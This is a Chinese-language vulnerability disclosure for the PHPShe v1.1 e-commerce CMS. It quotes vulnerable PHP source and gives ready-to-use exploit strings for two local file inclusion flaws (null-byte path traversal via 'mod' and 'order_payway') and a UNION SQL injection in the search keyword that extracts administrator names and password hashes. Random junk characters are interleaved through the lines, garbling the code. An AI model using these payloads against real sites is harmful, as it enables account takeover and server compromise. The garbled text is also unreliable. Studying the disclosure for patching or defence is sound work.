phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
' j9 ]- m! K* o2 U/* Phpshe v1.1 Vulnerability
1 [7 ^# Y7 \4 b2 R% ]3 r/* ========================
/* By: : Kn1f3
5 V5 f" _$ ?0 S/ f" W" S& H1 C/* E-Mail : 681796@qq.com
( A7 R  J" W& ~, U/*******************************************************/
2 U$ z" m: U% X$ ]0×00 整体大概参数传输
$ H/ Y$ S5 {( n& Y* j. e% G( u

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//common.php
if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
2 D! r( w9 D; c1 |, u1 Q( r- N  C!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
2 g, |2 T7 D+ @3 Velse {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
4 h! F; e( j- x: g!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
, m! O! c5 n2 {. h) Z. T}
session_start();
- ~& \% }8 L4 _) A: b9 `!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
* W  e! c: S$ w; x2 K( B!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

6 f' o& n: |2 b- s- x# p) N# A' D8 r0×01 包含漏洞

# b9 S: q" j3 Y0 H2 W7 e' W
1 [1 b( q6 |; W# I- S//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
3 g- f5 Y9 I- V3 H/ Minclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
1 G: B  d0 ^8 v! r- N' }; ]) D?>
7 X& V; t/ @5 r% |- V//common 文件 第15行开始
# A& B' e# J5 s3 Iurl路由配置
$module = $mod = $act = 'index';
" D7 n& M" ~: j4 s& {6 [# m( E$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
- J+ \6 ~! @1 e$ t7 `( ~4 C- a: ?$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
2 ^0 m' e) x' w' K$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
1 L3 R% s  F5 i# }//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
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0×02 搜索注入

: F" |) O/ A7 ~! h8 \<code id="code2">

//product.php文件
! W" v6 g( [6 o  [; v, gcase 'list':
$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
) L9 m# q* E0 a( g2 m4 k//搜索
$sqlwhere = " and `product_state` = 1";
3 }0 ]- F1 s4 L5 v& M" E! P3 q# rpe_lead('hook/category.hook.php');
$ H3 m; ]# M. s/ jif ($category_id) {
4 a4 y# V+ K( O+ O* ?3 V5 q0 o0 e, q7 {$ Nwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
2 P& _7 l8 k+ |( q  P8 q3 D/ n}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
  u3 d6 s2 {+ u8 ?1 `& \$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
8 V: H+ n/ T% L: X4 `$ I9 Y% N0 F& ?}
else {
$sqlwhere .= " order by `product_id` desc";
( L6 q. q" |; ^3 `# I  E3 G4 h}
& O+ n6 A1 _) K% Q2 L$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
$product_hotlist = product_hotlist();
//当前路径
$nowpath = category_path($category_id);
- F/ P3 L9 G2 ~( _" o$seo = pe_seo($info['category_name']);
2 i6 a0 L' G6 B% r9 z6 Ninclude(pe_tpl('product_list.html'));
//跟进selectall函数库
4 \  e: B7 h9 P! ipublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
3 Y( K  M: Q0 L{
//处理条件语句
/ c3 _6 s' p1 G* |$sqlwhere = $this->_dowhere($where);
% q. L! x3 s6 c3 z+ `. b7 |return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
, O  o' I4 F# f//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
& k5 X  q6 `- o: ~' f& W+ E

</code>

) F9 ?: H# U. g9 h# _5 t0×03 包含漏洞2
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( Z2 j" `4 v) w  l. t4 T<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

; F& k2 c7 I0 A; K% ]* }8 w$cache_payway = cache::get('payway');

) C7 R+ [& Z% R' w$ X0 qforeach($cache_payway as $k => $v) {

/ `# r: C; Y) C1 q$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

, |. r9 _7 Z; p; mif ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

4 n3 U1 y, Z, U  T, x9 d' h4 z}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

* ?) S9 c' X0 y. B* j4 n/ yif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";
4 z4 i2 ~, o( C; o

}

( g. j% t, {+ _. Decho '正在为您连接支付网站，请稍后...';

3 Z2 f9 {2 d, i& P7 Ginclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

3 `7 k  ?5 v( p0 f1 Welse {

pe_error('支付错误...');

8 `1 G7 p7 r0 J: T; P" p, ^: }7 w6 h}

. f4 t+ t( {$ T/ g6 o}

; S& V: k* F- T% z$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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